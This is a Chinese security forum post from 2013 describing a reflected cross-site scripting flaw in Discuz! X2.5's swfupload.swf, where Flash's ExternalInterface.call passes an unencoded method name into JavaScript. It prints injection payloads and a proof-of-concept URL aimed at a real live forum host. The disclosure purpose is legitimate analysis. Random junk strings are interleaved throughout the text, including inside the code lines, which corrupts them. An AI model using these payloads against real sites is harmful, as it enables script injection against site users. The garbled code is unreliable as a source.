找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1971|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
; P6 D  d" D2 O( J7 M: p/ O- \8 t
$ I( ~: U$ `0 X& z3 l! J' X) [8 i  fflash.external.ExternalInterface.call($methodName, $parameter)- D. J# n( A4 D6 K' n% f( X1 B
在浏览器中执行的是; p# N  x# Y3 _8 G( H
8 q; Y. W- ^1 o7 U" R2 W
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
: \4 ~, ^" g& \) O  y8 s对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如) E) r; q* n" Q

9 \5 h4 Z+ e' g7 R7 O3 Iflash.external.ExternalInterface.call("object."+$methodName, $parameter)3 M0 J# \; `+ H# ]* [
$methodName = a())}catch(e){alert(/xss/)}//
$ h+ ]& E3 V- f6 {6 X  y结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
; z4 o6 Q( h" p4 j. r' X
3 ^4 P+ l5 s( P0 X% Ltry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
: b  O  M" u( I& u7 C) l0 B" m  U- \' s& }' c% g4 g) q
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
0 Q8 |: z$ i' H) V  O' ?6 }5 n9 @杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。: p; N+ I: G8 t* @2 e
/ P/ z; K7 K7 k. }# G

' U* Z0 g4 r% H/ Z
$ f% |, ^0 V0 ]9 }1 I3 u) \( l% G漏洞文件:upload\static\image\common\swfupload.swf& ^1 o) I5 w7 i1 {, X
" E; o  t; @  c" V) J% q
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf: p+ A& {9 j: ?: v! @  j8 y
' T( P; {9 p! S8 l" }
* }9 r- w: F. S- I
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
; I2 ?' v. J6 l7 K% F0 _, i
( j' D" p, [$ V. o; ~' i3 H& R7 c+ ~) E, V3 @# t" m9 }3 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表